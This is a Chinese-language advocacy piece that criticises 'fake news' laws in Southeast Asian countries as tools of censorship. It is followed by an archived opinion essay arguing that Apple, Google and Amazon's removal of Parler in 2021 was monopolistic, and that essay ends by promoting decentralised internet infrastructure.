在一些国家，政府以“假新闻”为借口遏制批评。而在另一些国家，政府使用“假新闻”来证明他们对民众的压迫行为是正当的，例如在缅甸，军政府利用骗局作为种族灭绝罗辛亚族人的燃料。

已经对互联网进行了严厉管控的国家正在使用“假新闻”为由，以夺取对新闻媒体和通信平台的更多控制权。东南亚地区背景的独特之处在于，“假新闻”和“假消息”是在现有法律已经禁止言论自由的框架内运作的。

在菲律宾、印度尼西亚和缅甸等国家，网上的虚假宣传和仇恨言论已经对公众舆论造成了严重后果。在像柬埔寨、泰国、越南和新加坡这样的国家，现有法律削减言论自由的情况下，社交媒体已经成为政府对言论自由进行高压控制的新途径。

在这一两年内，许多东南亚国家将进入选举进程。而这些政府也开始利用对“假新闻”的担忧为借口，好像这是一种“新现象”（事实上并不是，假消息几乎和人类历史一样悠久），当局试图通过这些提案来加强对在线通信的高压控制，并以此扩大审查和互联网监视。

这些政府担心的并不是虚假新闻，而是担心他们自己的*官方说法*被他们无法直接控制的平台上的言论所抵制。假新闻立法是一种简单的方法，可以让他们获得所需的全面控制权，以反映政府对事件、变故和立法工作的描绘。这些立法不仅能将被政府指定的“假新闻”的生产或分享转化为犯罪，而且还允许政府直接要求互联网公司提供其用户的个人信息，以为追踪惩治。

新加坡

新加坡政府希望更新原有的“广播法”，以解决互联网上错误信息和“假新闻”的崛起。恶作剧被指“不符合社会价值观”，包括维护种族和宗教和谐的必要性。 “The Real Singapore”- 这个政权竞争对手的社会政治新闻和意见网站，今年早些时候被政府关闭。该网站被指“发布煽动性种族主义文章，以提高流量”，媒体发展管理局（MDA）称。

新加坡媒体监管机构已暂停执行社会政治博客“The Real Singapore”的执照。2013年之前，新加坡就要求主要新闻网站向政府登记并支付许可费。这一“许可要求法”还赋权当局删除所有被认为是破坏“社会和谐”的在线内容。

该网站被要求选择：接受关闭，否则管理员可能被罚20万新元或面临三年监禁。

MDA 表示，TRS 在文章中插入了一些其他文章的段落，这些段落是从当地新闻来源中提取或由贡献者发送的，并称其是“为了使文章更具煽动性”来增加流量，获得广告收入。监管部门称，该网站包括其两位外国编辑在内的 TRS 员工正试图“以牺牲新加坡的公共利益和国家和谐为代价”谋取利润。听起来很熟悉吧，没错，中国当局也会这样说。

新加坡媒体监管机构 MDA 两年来一直在积极地尝试审查本地博客

圈。

自2013年5月以来，由前海峡时报记者创建的当地新闻网站 The Breakfast Network 也已被关闭。由 TODAY 报创始人于2013年8月创立的独立网站，在其启动后立即被要求登记以获得许可证，因为监管机构 MDA 怀疑独立网站有“外国支持”。

另一个新加坡新闻博客 Mothership.sg 也被施加了同样的要求，该网站在去年4月被指示根据“广播法”需要获得许可证，而 The Opinion Collaborative 也是“The Online Citizen”的出版商，同样被要求许可证。

新加坡政府正在努力制定管制“虚假消息”的规定。这已经是一个问题了，因为解决这个问题的政府并没有能够确定究竟什么是“假新闻”，除了被政府不喜欢的新闻之外。

一个政府授予自己单方面消除竞争性叙事的权力，是永不过时的风格，那些从自由世界领导者的 **tweet**上抓取“假新闻”这一审查引擎的人，往往都是专制者。

政府的“审议网上虚假专责委员会”正在征求公民对拟议立法的意见。新加坡政府一直在研究立法措施。去年进行的一项政府主导的民意调查显示，虽然该国尚未看到由整体误导性信息造成的重大社会或政治影响，但超过 **90**% 的新加坡人*支持强有力的法律*来消除或纠正虚假新闻。

1月份，议会一致投票决定成立一个委员会，专门处理在线发表虚假消息的问题。潜在的新立法应该引起担忧，它将进一步扼杀该国早已很有限的言论自由; 2月份，记者、学者、倡导团体和其他人向公众发布了他们提交给特委会的意见书。

柬埔寨

2018年，继美国总统特朗普指责一些媒体报道假新闻并禁止他们出席白宫新闻发布会后，柬埔寨领导人也使用了相同的论点。

柬埔寨总统洪森确定民主之声、美国之音和自由亚洲电台为“不准确报道柬埔寨”的媒体组织。他还重复了特朗普关于一些媒体实体的描述，称之为假新闻的制作者，似乎是在淡化批评他的政府的报道。北京政府也一直在这么做。

柬埔寨对媒体的打击可能会加剧 - “假新闻”审查新法案的提案可能会

使针对性打压创作者和出版商的传统更为惨烈，该法案在马来西亚批准了一项“反新闻新闻”法律之后的数周就出台了，被定罪者将被判处长达**10**年的监禁。

柬埔寨首相洪森上周会见越南副总理阮春福时，提出了取缔所谓假新闻的建议。据“金边邮报”报道，两位领导人讨论了如何处理据称“不准确”的消息。会议结束后，柬埔寨执政党发言人宣布了可能发生的变化，并解释说，该法律将适用于“使用错误信息或假消息的一切媒体”。

上个月，邮电部呼吁打击“假新闻”，洪森在1月份表示，媒体被认为是“假新闻”的生产者，这是一种违法行为……新闻自由倡导者担心，反假新闻法可能导致洪森政府对传媒业整体进行限制。这位 65 岁的柬埔寨总理自1985年以来一直执掌国家，并将在7月下旬举行另一次选举 - 在他的主要竞争对手柬埔寨国家救援党被最高法院解散后，他更有可能赢得胜利。

马来西亚

在马来西亚，就在一个月前，当局通过议会推出了一部反假新闻法，许多人认为这些法律将被用来压制批判性思维和异议。

2018 年马来西亚反假新闻条例草案经过激烈辩论数天后，于 2018年4月2日在集体投票后通过了 Dewan Rakyat 的政策阶段。该草案旨在制定一项新法律来阻止可能“威胁该国政治稳定和破坏公共秩序和国家安全”的假新闻的传播，该法案以123票赞成，64票反对被通过。

该条例草案作出了几项修正，减少了刑期，从10年改为6年的监禁时间，并将“明知”一词改为了“恶意”。

条例草案规定，任何人以任何方式创作、提供、出版、印刷、分发、传播或转载任何含有虚假信息的新闻或刊物，均可能受到惩罚。

反假新闻法案规定的罚款高达 500,000令吉（123,000美元），最高六年监禁或两者兼而有之。该法案于2018年4月5日在参议院进行辩论。并且已经生效。

马来西亚法律将假新闻定义为包括“新闻、信息、数据和报告 - 这些新闻、信息、数据和报告全部或部分是虚假的。”新闻包括文字故事、视频和音频内容。

马来西亚推出了一个名为 sebenarnya.my 的所谓辟谣网站

（“sebenarnya”在马来语中的意思是“事实上”）。该倡议由马来西亚通信和多媒体委员会（**MCMC**）（一个监管机构）发起。 MCMC 还发起了一项倡议，通过其 Klik Dengan Bijak 计划宣传所谓的媒体素养、负责任的互联网使用和数字安全。 'Klik Dengan Bijak' 粗略地翻译是“明智点击”或“小心点击”。

菲律宾

在菲律宾，媒体也面临着类似的威胁，总统罗德里戈杜特尔特威胁要关闭新闻网站 Rappler，并不断指责它是一个“假新闻媒体”。菲律宾政府正在阻止政治批评内容的媒体，并标记它们为“假消息“。

众议院议长 Pantaleon Alvarez 提交了一项法案，要求社交媒体公司在用户注册之前验证用户的身份，以便他们能够更轻松地防止用户创建匿名账户和传播“假消息”。 2017 年拟议的“社交媒体管理法案”甚至确定了某些将受到草案影响的社交媒体公司。同时提供了对不符合实名制标准的处罚方式。

通过强制社交媒体公司（Facebook，Twitter，Instagram等）将用户实名制，从而控制线上内容。

菲律宾参议院公共信息和大众媒体委员会主席 Grace Poe 提交了一项法案，要求公职人员和政府机构雇员对虚假信息的传播负责。但总统发言人哈里罗克立即驳回了这一法案，称其违宪

。过去，杜特尔特曾表示这样的法律不会在国会通过。 Duterte 在一月份曾将在线门户网站 Rappler 称为“假新闻网站”。

由于全球最大的社交网络加强了查明误导性内容和虚假信息的事实核查工作，Facebook 已经开始阻止一些涉嫌推销假新闻的亲杜特尔特网站。根据 Facebook 的说法，用户无法共享被禁网站的内容，遵循社交网络的“社区标准”这类网站被标记为“不安全”。

印尼

印度尼西亚政府继续使用阻断机制来控制互联网，特别是“恶作剧”的传播。 2017年，政府开始使用人工智能系统（AIS）来控制欺骗性消息。这款名为 **Cyber Drone 9** 的价值 **197** 亿印尼盾的 **AIS** 引擎用于追踪和报告传播假新闻的网站，以便于政府阻止这些网站。政府还最大限度地使用 IET 法来惩罚那些向总统 Joko Widodo 和政府传播欺骗性消息的人。

Saracen 集团的三名员工因在网上发布“仇恨言论和虚假信息”而被捕，该集团据称已出售给潜在买家。根据信息和电子交易（ITE）法的规定，该组织的成员正面临指控。

Joko Widodo 总统1月份为新成立的*国家网络和加密机构*任命了主席，与国家情报机构和警方一起对付“社交媒体上的假新闻”，引发了一系列批评。本月早些时候，警方逮捕了被称为涉嫌传播假新闻和诽谤内容的 Muslim Cyber Army 成员。去年，另一个在线内容集团 Saracen 的成员也是在类似的指称中被捕的。

印尼当局一直在积极阻止帐户、及删除被视为“有害社会”的内容。据报道，在该国，所有类型的错误信息都被称为印度尼西亚的“hoax”。据报道，⚠ **Google**、**Facebook** 和其他社交媒体和消息应用程序公司正在与印尼政府合作解决所谓的有害内容的传播，包括色情内容和**“hoax”**，阻止、删除或标记某些内容。

MICT 还发起了被称之为 Masyarakat 的反恶作剧运动，作为争取公众支持的方式。

印度尼西亚在 2019 年的总统选举之前，正在与一系列“假新闻和网上仇恨言论”作斗争。一连串的逮捕事件所造成的社会恐惧，可能会破解这个世界上最大的穆斯林多数国家的开放社会和宗教断层线。

警方打击了穆斯林网络军（Muslim Cyber Army - MCA）的成员，这只是一个松散的群体，他们被指控使用 Facebook，Instagram 和 Twitter 攻击政府并引发所谓的“宗教极端主义”。

然而印度尼西亚在打压互联网恶作剧和错误信息的运动中遇到的问题在2016年底和2017年初在雅加达举行的选举之前就已经爆发，现任州长 Basuki Tjahaja Purnama（绰号Ahok）首当其冲。

根据该法而发生的另一起案件涉及最近逮捕一名女子，她被指通过 meme 散布对“众议院”（DPR）主席 Setya Novanto 的“诽谤”信息。该案因为这一广泛适用的法律而受到批评，被视为压制对政府的异议。

缅甸

在缅甸，近年来已经进行了多次媒体改革，例如解散审查委员会，但审查制度的影响仍然存在，是间接得到执行的。记者们继续面临着诽谤指控和其他骚扰性诉讼。政府还被指故意阻止该国互联网连接的改

善，以控制关键信息的传播。

据消息引述昂山素季称，“假新闻”一直在“煽动”罗兴亚危机的冲突。尽管穆斯林组织一直是当地暴力和被忽视的受害者，但他们也面临着网络舆论攻击，因为在某种程度上，社交媒体平台成为了针对少数族裔的恶毒仇恨言论的场所。

缅甸运输和通讯部宣布为一个新的社交媒体监视小组提供 64 亿缅元（**482**万美元）的预算，该小组负责确定可能“威胁到国家稳定”的在线言论。

越南

目前有三十五名政治博客作者被关押在越南监狱里。博主和持不同政见者遭受的持续迫害突显了迫切需要改革在线内容管理的法律。

禁止反国家宣传的“刑法”第 88 条通常被用来拘留反对政府的个人。“刑法”第 258 条惩处滥用“民主自由侵犯国家利益和集体及个人的合法权益”，违者将被判处七年徒刑。去年，该国总理发布了一项命令，要求打击“反动”的博客。一般来说，法律中模糊的规定允许当局以任意拘捕几乎没有问责制的滥权打压任何政权不喜欢的人。

本月初，第 72 号法令生效，许多活动人士认为该法律是该国政府对信息自由最严厉的攻击。新法规禁止分享新闻报道或所谓的“被编辑过的信息”。但政府声称它只是为了保护“知识产权”。

这种叫做“press card” 的系统一直被用来审查媒体。

泰国

泰国最臭名昭着的媒体监管是通过该国刑法第112条实施的，该法称为 lese-majeste 法，禁止任何人侮辱国王和王室成员。

许多评论家认为它是世界上最“严厉”的言论管制法律之一，它对违反者实施的最低强制性判刑是三年监禁、最多是**15**年徒刑！该法律经常被用来审查网页内容并关闭网站。不只有网站管理员和编辑会被处罚，甚至普通公民也因涉嫌发送侮辱王室的手机短信而被捕入狱。

老挝

2014年，老挝颁布了一项法律，加强了对该国媒体的更为严格的控制。该法令采取的是含糊不清的规定 - 口袋罪法案的通性，很可能被

用来扼杀言论自由。

文莱

2017 年 8 月，一家网址为“ http://www.cnn-money-report.com/ ”的网站报道称，苏丹 Hassanal Bolkiah 向一家名为“比特币代码 The Bitcoin Code”的科技创业公司投资了 **7.2** 亿美元。没有报道可证明该创业公司的合法性。

「图」

—— 编者按 ——

“公民权利和政治权利国际公约”第19条 - 表达自由，这一条款是非常重要的。

每一种审查都是罪恶，当权者最喜欢用的理由是：洗钱、毒品、恐怖主义和儿童色情，被言论自由倡导者讽其为“信息末日启示录”的四骑士。而如今，"它已经变成“六骑士”了"：增添了假新闻和“仇恨言论”；甚至“七骑士”：还有版权 - 本周日即将在柏林发起的街头抗议就来自新法案以版权为由施加的审查。

审查一直在升级。每一个权力都渴望稳固、惧怕被挑战，互联网给了全球当权者前所未有的便捷，以监视全社会的思想活动。审查令言论自由在这个被期待为自由的时代里遭遇了最不自由的尴尬。

我们从根本上拒绝审查是必要的。因为，即便你的声称是真实的 - 打击六骑士中的任何一个，也就是只针对某项事物进行审查，比如儿童色情，你就需要从人们浏览的东西中过滤出关于儿童色情的内容，那么你就首先必须监视每个人都在做什么，你需要建立能够监控所有人的基础设施，也就是大规模监控系统。

并且，直接的删除这类可见的审查，它只是冰山一角。我们曾经描述过一个审查金字塔，只有一个小小的塔尖露出了地面，这个塔尖就是公共诽谤诉讼、谋杀记者、新闻禁令等等这些，所有人能直接看到的东西。而这些只是很小的一部分，在塔尖的下一层是那些不愿意暴露于塔尖的人，他们通过自我审查将消息压住，以免被推向塔尖。

再下面一层是各种各样的经济诱导，或者叫它赞助诱导，把利益摆在面前，让人们积极地报道某件事，从而回避其他事。再下面一层就是原始经济——媒体人对流量的痴迷，他们只写那些划算的、有的赚的故事，甚至都不必考虑上层的经济因素。

然后再下面就是读者的偏见，这些人的受教育程度很有限，他们容易受到假新闻的操控，并且你还无法对他们解释真实的信息。

全球打击假新闻的努力看起来声嘶力竭，就算能圆满成功，也不过是皮毛之举，审查存在的地方就没有真相。而绝大多数审查是不被承认的，因为它们发生在暗处，也因此不存在对某个特定主张进行审查的指示。相反，是记者自己认识到了他们被期望如何去做，因为他们了解取悦和巴结某些人的利益所在。

国际上一些捍卫言论自由的组织更愿意用缓和周全的表达方式来阐述言论自由的根本性立场，在这一基础上支持政府打压*真正的*假新闻。我们对这一中立的说法持怀疑态度。因为经验上就足以显示，一旦立法，滥用是毫无悬念的结果。

政府掌握了太多权力，权力集中的领域又吸引着滥用权力和贪图权力的人。而互联网让权力再一次出现了集中化高峰，如今的网络安全沙皇和五十年前的安保部队沙皇没什么区别，人类正在建立一种同样的威权控制架构，并吸引人们去滥用它。

我们承认，“七骑士”中任何一个都很可怕，令人作呕，假消息会影响现实政治的公平竞争，但解决这个问题的方法绝不是政府和服务商主导的审查，很多国家都存在骚扰人民的所谓“常规监督”- 不止本文中梳理的东南亚国家，在互联网上，普遍的网络警察所造成的伤害早已胜过了假新闻或儿童色情。

那么应该怎么办？德国“黑客元老”瓦乌·荷兰德曾经说过：“过滤应该由最终用户来决定，由终端用户的终端设备来执行”。这就是答案。

也就是说，每个人都带着一个过滤器，就长在脖子上——你的大脑。过滤不该由政府代表人民来执行，如果人们不想看到某些东西，那好，他们就不会去看，而且，不论如何，现在也的确需要你自己去过滤很多事情。

伪劣内容产品是信息自由的代价，但也只有信息自由，才能遏制更多的有目的的宣传性虚假 - 由权力主导的虚假。这就是为什么信息自由是我们必需保住的原则，提升人们的判断力是我们应该追求的目标。

原文

2021开门见血：垄断权力的灾难和直接行动的迫在眉睫 - iyouport

审查和自我审查-民主的支柱是如何歪掉的

【2021年5月27日存档】2021年以互联网上前所未有的言论审查浪潮开篇，标志着一个新的时期的不详开端。数字权利组织、言论自由倡导者、反垄断活动家和宪法的信仰者纷纷谴责审查行为，包括IYP；但单纯的谴责很可能不是完整的解决方案 ……

多年来，批评硅谷审查制度的人都听到了同样的论调："像 Facebook、谷歌和 Twitter 这样的科技平台都是私营企业，可以托管也可以禁止他们想要的任何人，如果你不喜欢他们的所作所为，解决的办法不是去抱怨或监管他们；相反，去创建你自己的社交媒体平台，按照你认为应该的方式运营"。

Parler 的创始人也听到了这个建议，并进行了尝试。2018年8月，他们创建了一个类似于Twitter的社交媒体平台，但该平台承诺对隐私的保护要大得多，包括拒绝汇总用户数据，以便将其货币化给广告商，或者通过算法评估用户的兴趣，以便向他们推广内容或产品，简单说就是，它拒绝了监视资本主义经济体制。他们还承诺更大的言论自由权，拒绝接受硅谷巨头们日益压抑的内容审查。

在过去一年里，Parler 取得了巨大的成功。数百万反对在寡头公司的平台上日益压制言论的行为或自己已经被封锁的人纷纷注册了这家新的社交媒体。

随着硅谷的审查制度在过去几个月里彻底升级 —— 禁止《纽约邮报》在大选前报道拜登家人，谴责并删除关于美国总统的多篇文章，大规模删除右翼账户—— 导致如此多的人迁移到 Parler，以至于它被推上了苹果Play商店下载量最多的应用榜单的第一名，该商店是 iPhone 用户下载应用的唯一和专属手段。"总的来说，该应用是2020年下载量排名第十的社交媒体，新安装量为810万"，TechCrunch 报道说。

看起来，Parler 的成功似乎证明了批评硅谷垄断力量的人是错误的；他们的成功表明，创建一个新的社交媒体平台与 Facebook、Instagram 和 Twitter 竞争毕竟是可能的。而他们的做法正是硅谷维护者长期以来坚持的应该做的事：如果你不喜欢科技巨头强加的规则，就去创建自己的平台，制定不同的规则。

但是今天，如果你想下载、注册或使用Parler，你将无法实现。这是因为亚马逊、谷歌和苹果这三家硅谷垄断企业突然联合起来，将**Parler**从互联网上删除了，而这时恰恰是**Parler**成为全美下载量最大的应用的时候。

如果人们要寻找证据来证明这些科技巨头事实上是违反反垄断法进行反竞争行为的垄断者，证明他们正在抹杀任何与他们进行市场竞争的企图，那么很难想象还有什么比他们刚刚如何利用自己不受约束的权力彻底摧毁一个新崛起的竞争对手更令人信服的事了。

硅谷的联合攻击始于1月8日，当时苹果给 Parler 发了邮件，并给他们24小时的时间来证明他们已经改变了做法，否则将面临从 App Store 中移除。这封信中声称 “我们收到了许多投诉，关于你们 Parler 服务中的不良内容，指责 Parler 应用被用于策划、协调和促进2021年1月6日在华盛顿特区的非法活动，导致（除其他外）生命损失、大量人员受伤和财产破坏”。 最后这封信还发出了这样的警告：

为了确保您的应用程序在 *App Store* 上的可用性没有中断，请在此消息发布之日起*24*小时内提交更新和所要求的修改改进计划。如果我们在*24*小时内没有收到符合 *App Store* 审核指南的更新和所要求的版式改进计划的书面材料，您的应用将被从*App Store*中删除。

24小时的这封信是一个明显的借口，纯粹是表演性的。无论 **Parler** 怎么做，删除都是既成的事实。首先，这封信立即被泄露给了 Buzzfeed，Buzzfeed 全文刊登了这封信。Parler 的一位高管详细介绍了该公司与苹果沟通的不成功之处。他告诉我，“他们基本是直接对我们消失了”。第二天，苹果通知 Parler 已经被从 App Store 中删除。“我们不会分发呈现危险和有害内容的应用”，这家世界上最富有的公司这样说道，“我们现在已经拒绝了你的应用在App Store 的使用”。

被 App Store 删除对一个平台的伤害难以言表。**iPhone** 的用户被禁止从互联网上下载应用到自己的设备上。如果一款应用不在**App Store**上，就无法在**iPhone**上使用；即使是已经下载了 **Parler** 的 **iPhone** 用户也将失去接收更新的能力，这将在不久后使该平台变得

既无法管理又不安全。

去年10月，众议院反垄断、商业和行政法司法小组委员会发布了一份长达425页的报告，结论是：亚马逊、苹果、Facebook和谷歌都拥有垄断权力，并且正在反竞争地使用这种权力。对于苹果来说，他们强调该公司通过控制 **App Store** 的访问权来控制 **iPhone**。正如 Ars Technica 在强调该报告的主要发现时所说的：

苹果公司控制了美国智能手机市场的45%和全球智能手机市场的20%，该委员会发现，预计2021年将售出第20亿部 iPhone。没错，在智能手机手机市场，苹果并不是垄断者；相反，iOS和安卓在手机操作系统方面保持着有效的双垄断。

然而，报告认为，苹果确实对你能用 iPhone 做什么具有高度垄断性的控制。你只能通过苹果应用商店把应用程序下载到你的手机上, 而苹果有完全的看门人权限以控制什么能出现在其应用程序商店中——这就是Epic起诉该公司的原因 ……

委员会发现的内部文件显示，包括前CEO史蒂夫·乔布斯在内的公司领导层都已经“承认**IAP**要求会扼杀竞争、限制苹果客户可用的应用”。报告认为，苹果还不公平地利用其对API、搜索排名、和默认应用的控制权来限制竞争对手被 iPhone 用户的访问机会。

此后不久，Parler 得知，谷歌在没有警告的情况下，也将其从 Play Store 中“暂停”，严重限制了用户将 Parler 下载到 Android 手机上的能力。谷歌的行动也意味着，那些在安卓手机上使用 **Parler** 的用户将不再能获得必要的功能和安全更新。

恰恰是谷歌滥用其控制应用设备的权力，“欧盟委员会认为谷歌有限责任公司是安卓移动操作系统应用商店（即谷歌Play商店）的主导企业，并对这家在线搜索和广告巨头进行了43.4亿欧元罚款的打击，原因是其通过在应用商店市场的主导地位来加强其在其他各个市场的地位的反竞争行为。”

- 很可惜，罚款能解决的问题都不是问题《讽刺性依赖》

在联合起来的苹果和谷歌对 **Parler** 采取行动的第二天，亚马逊就带来了致命的打击。这家由世界首富杰夫·贝佐斯 (Jeff Bezos) 创立并经营的公司使用了与苹果几乎相同的语言，通知 Parler，其网络托管服务(AWS) 将终止AWS托管 Parler 网站的能力。“由于Parler无法遵守我们的服务条款，并对公共安全构成了非常现实的风险，我们计划从

1月10日星期日，太平洋时间11点59分起，暂停Parler的账户”。由于亚马逊在虚拟主机方面的全球优势，**Parler** 至今没有找到任何适合其平台的托管服务，这也是为什么它不仅从应用商店和手机上消失了，而且从整个互联网上消失了的原因。

【注：这不是亚马逊首次这么做，在华盛顿开始打击 Wikileaks 的第一时刻，该公司就封锁了 Wikileaks 使用亚马逊云服务的机会。这就是为什么WL发起了全球复制运动 —— 邀请人们无限复制WL网站。】

周四，Parler 还是美国最受欢迎的应用；到了周一，硅谷四家垄断企业中的三家联合起来要摧毁它。

美国主要自由派人士几乎一致地庆祝这场利用硅谷垄断权力关闭 **Parler** 的大战，就像他们以压倒性的优势欢呼之前两次寡头科技权力控制美国政治话语权的非凡主张一样：审查《纽约邮报》对亨特·拜登的报道，以及禁止美国总统进入主要平台。事实上，您已经很难找到一个全国性的自由派政治家甚至对这些东西表示关注，更不用说反对了。

主要的自由派政客不仅没有反对，而且事实上其中一些人是恳求硅谷这样使用他们的权力的人。在互联网警察网站 Sleeping Giants 标记了几个呼吁暴力的 Parler 帖子后，众议员 Alexandria Ocasio-Cortez 问道：“@苹果 和 @GooglePlay 对此有何回应？” 一旦苹果公司做出所谓的回应，将 Parler 从其App Store中删除—— 众议院民主党人在三个月前刚刚警告此举是危险的反垄断行为—— 她就赞扬了苹果公司，然后称：“很高兴看到 @苹果公司 的这一进展。@GooglePlay 你打算怎么处理你们平台上被用来组织暴力的应用？”

自由派的《纽约时报》专栏作家米歇尔·戈德堡（Michelle Goldberg）宣称自己“对[科技巨头]的权力有多厉害感到不安”，并补充说，“让一小撮呼风唤雨的年轻科技巨头负责谁有扩音器、谁没有，这很危险”。

尽管如此，她还是赞扬了这些“年轻的科技巨头”利用他们“危险”的权力来禁止 Parler。换句话说，像戈德堡这样的自由派只是担心硅谷的审查权有一天会被用来对付像他们这样的人，但只要是他们的对手被废黜、被灭口，他们就会非常高兴（Facebook 和其他平台多年来一直在以色列的要求下禁止巴勒斯坦人等被边缘化人群，但这对美国自由主义者来说完全无关紧要）。

- 在这里看到《先开枪，再问问题》

这是因为美国自由主义的主流不是经济社会主义，而是政治专制主义。自由主义者现在想利用企业权力的力量来压制那些不同意识形态的人。他们渴望科技垄断企业不仅要禁止他们不喜欢的账号，而且要从互联网上删除整个平台。他们希望监禁 *他们所认为的* 帮助他们的政党输掉选举的任何人，比如朱利安·阿桑奇（ Julian Assange ），即使这意味着创造了将新闻业定罪的先例。

世界各国领导人都在声讨硅谷积聚的无限力量以警戒政治话语。德国总理默克尔、法国多位部长，尤其是墨西哥总统安德烈斯·曼努埃尔·洛佩斯·奥夫拉多尔都在谴责科技垄断企业的审查行为，理由是他们把自己定位为掌控“世界媒体大权”。洛佩斯·奥夫拉多尔的警告特别有说服力：

就连美国公民自由联盟 —— 自特朗普当选以来，该组织已从一个公民自由组织迅速转变为一个自由派组织—— 也认为硅谷摧毁 **Parler** 的权力令人深感震惊。该组织最坚定的公民自由捍卫者之一、律师本·维兹纳告诉《纽约时报》，摧毁 Parler 比删除帖子或整个账户更“令人不安”，“我认为我们应该认识到网络中立的重要性，尤其是当我们谈论互联网的基础设施时。”

然而，大批的自由派却为这种专制主义所倾倒。而且他们现在呼吁对国内的反对者使用最压抑的反恐战争措施。见《新的国内反恐战争即将来临，问题是，它会遇到多少反对》。

周二，众议院国土安全委员会主席本尼·汤普森（Bennie Thompson）敦促GOP参议员，特德·克鲁兹（Ted Cruz）和乔希·霍利（Josh Hawley）“被列入禁止名单”，而《华尔街日报》则报道说：“拜登表示，他计划优先通过一项打击国内恐怖主义的法律，他还被敦促在白宫设立一个职位，监督打击受意识形态启发的暴力极端分子，并增加资金打击他们。”

这种自由派对试图摧毁 **Parler** 的支持，很大程度上是基于对该平台的完全无知，以及对言论自由的基本原则完全无知。如果超过一小部分欢呼 Parler 从互联网上被删除的自由主义者曾经使用过这个平台，或者除了那些试图将其描述为一些“新纳粹据点”的人向他们展示的*片段*之外，他们对 Parler 有任何了解，我都会非常惊讶。

Parler 并不是由亲特朗普或**MAGA** 的支持者创立的，也不是由他们经营的。该平台是基于隐私、反监视、反数据收集、和言论自由的价

值观而创建的。大多数关键高管与罗恩·保罗和CATO研究所的政治关系比史蒂夫·班农或特朗普家族更密切。其中一位是 **“Never Trump”** 运动的共和党人，而另一位是罗恩·保罗和兰德·保罗的前竞选经理。在为数不多的与MAGA有关的人物中，只有一位投资人 Dan Bongino。而最初的重要投资人之一是 Rebekah Mercer。

该平台的设计旨在培养隐私和言论自由，而不是特定的意识形态。他们尽量减少收集用户的数据量，以防止广告商的人类行为货币化或算法暴政。与 Facebook 和 Twitter 不同的是，它们并不评估用户的喜好来决定人们应该看到什么；而它们主要是出于对硅谷各大平台上关于什么可以说、什么不可以说的限制性越来越强烈的规则的反应。

当然，大量的特朗普支持者最终还是选择了 Parler。这 *并不是* 因为 Parler 是一个支持特朗普的渠道，而是因为这些人中有很多是被科技垄断企业审查过的人，或者被这种审查制度激怒而试图转移到其他地方寻求庇护的人。

的确，人们可以在 Parler 上找到明确鼓吹暴力或其他怪诞的贴子；但在 Facebook、谷歌旗下的 YouTube 和 Twitter 上更是如此。而且与许多人所认为的相反，**Parler** 的服务条款中包含了禁止明确鼓吹暴力的内容，他们雇佣了一个由付费的、训练有素的版主组成的团队，他们会删除这些贴子。这些删除并不是完美的或实时发生的 —— 这就是为什么人们可以找到违反这些规则的贴子—— 但硅谷的各大平台都是如此。

事实上，Parler 的一位高管告诉我，截至周一，因国会大厦暴动被捕的**13**人中，没有任何人是 **Parler** 的活跃用户。国会大厦暴动基本是在 **Facebook** 和 **YouTube** 上策划的。正如 Recode 所报道的那样，虽然一些抗议者同时参与了 Parler 和 Gab，但许多参加国会大厦的呼吁都来自 YouTube 视频，而许多关键的暴动策划者 “继续使用 Twitter、Facebook和 YouTube 等主流平台”。文章援引人权组织 **Avaaz** 的活动总监 **Fadi Quran** 的话说：“在华盛顿，我们看到了 **QAnon**阴谋论和其他民兵组织，但如果没有 **Facebook** 和 **Twitter** 的涡轮增压，他们永远不会发展到这个规模”。

这就更不用说那些硅谷巨头们佯装反对暴力言论或政治极端主义的无尽虚伪了。例如，亚马逊是中情局最赚钱的合作伙伴之一，它拥有一份价值**6**亿美元的合同，为中情局提供服务，而且它还在不断竞标更多。在 **Facebook** 和 **Twitter** 上，人们可以找到来自地球上最压抑的和暴力的政权的官方账号，包括沙特，还有专门代表埃及政权进行宣传的页面。有人认为这些科技巨头对暴力和极端主义有任何真正的关

注吗？

那么，为什么民主党政客和记者关注的是 Parler 而不是 Facebook 和 YouTube？为什么亚马逊、谷歌和苹果公司要齐刷刷地从互联网上删除 Parler，而让规模大得多的巨头平台每天都有更多的极端主义和鼓吹暴力的内容流出？

部分是因为这些硅谷巨头 —— 谷歌、**Facebook**、亚马逊、苹果 —— 向民主党及其领导人捐赠了巨额资金，民主党人当然会为他们欢呼，而不是要求惩罚或将他们从互联网上删除。一部分原因是因为 Parler 是一个新兴的公司，比 Facebook 或 Google 更容易成为想要摧毁的目标；而部分原因是因为民主党即将控制行政部门和国会两院，让硅谷巨头们急于通过压制对手来取悦他们。这一腐败动机被长期从事克林顿工作的前白宫新闻主任珍妮弗·帕尔米耶里 (Jennifer Palmieri) 明确地表达了出来：

垄断权力的本质是反竞争实体进行违法行为以消灭崛起的竞争者。Parler 被与错误的政治意识形态关联起来了，而它只是一个足够小而新的平台，这样的平台可以成为榜样。而现在它的头颅被挂在城门楼子上了，以表明不可能与现有的硅谷垄断企业进行任何竞争；对它的毁灭，则保留了极少数科技寡头对政治话语权的不可挑战之大权，不仅是美国，而且是 *全世界民主国家的政治话语权*（这也是为什么德国、法国和墨西哥都在提高嗓门抗议的原因）。

没有专制者相信自己是专制者。无论他们支持的措施 —— 审查制度、垄断权力、未经正当程序的禁令名单 —— 是多么的压抑，他们都会告诉自己，那些被他们压制和攻击的人是“如此的邪恶”，是恐怖分子，对他们所做的任何事都是“高尚和仁慈的”，而不是专制和压抑。这就是自由主义者目前的想法，他们加强了硅谷对我们政治生活的垄断控制，一夜之间摧毁了一个新的、受欢迎的竞争对手就是例证。

谴责只是第一步，彻底重建才是真正的反审查反监视解决方案

「图」

Coindesk 的文章指出，目前向分散式存储和数据库的运动速度很快、也很猛烈，并且包括了大量的发展清单。甚至域名系统（DNS）功能的改变也在进行中。为什么要将DNS分散化？正如文章中指出的那

样：

“在目前的系统中，底线是你可以在任何时候、以任何理由、被任何有足够权力的人从互联网上彻底抹去”。去中心化的*DNS*使得当局几乎不可能关闭对网络的访问，并让个人真正拥有自己的数字身份、通信渠道和商业手段。”

一个去中心化的DNS服务是 UnstoppableDomains.com，它使用了区块链技术。

此外，Signal 的创始人 Moxie Marlinspike（可能是目前最好的加密私人通信平台）正在讨论如何为 Parler 这样的社交平台实现去中心化制定战略。

加密分析师 Anthony Pompliano 在2021年1月11日的一篇博客文章中指出，从字面上看，去中心化网络意味着现有的一切都必须重建：

“你不能简单地依赖亚马逊的**AWS**。你必须利用亚马逊、谷歌、微软和自我托管相互结合，以大幅提高你所构建的东西的弹性”，他说。

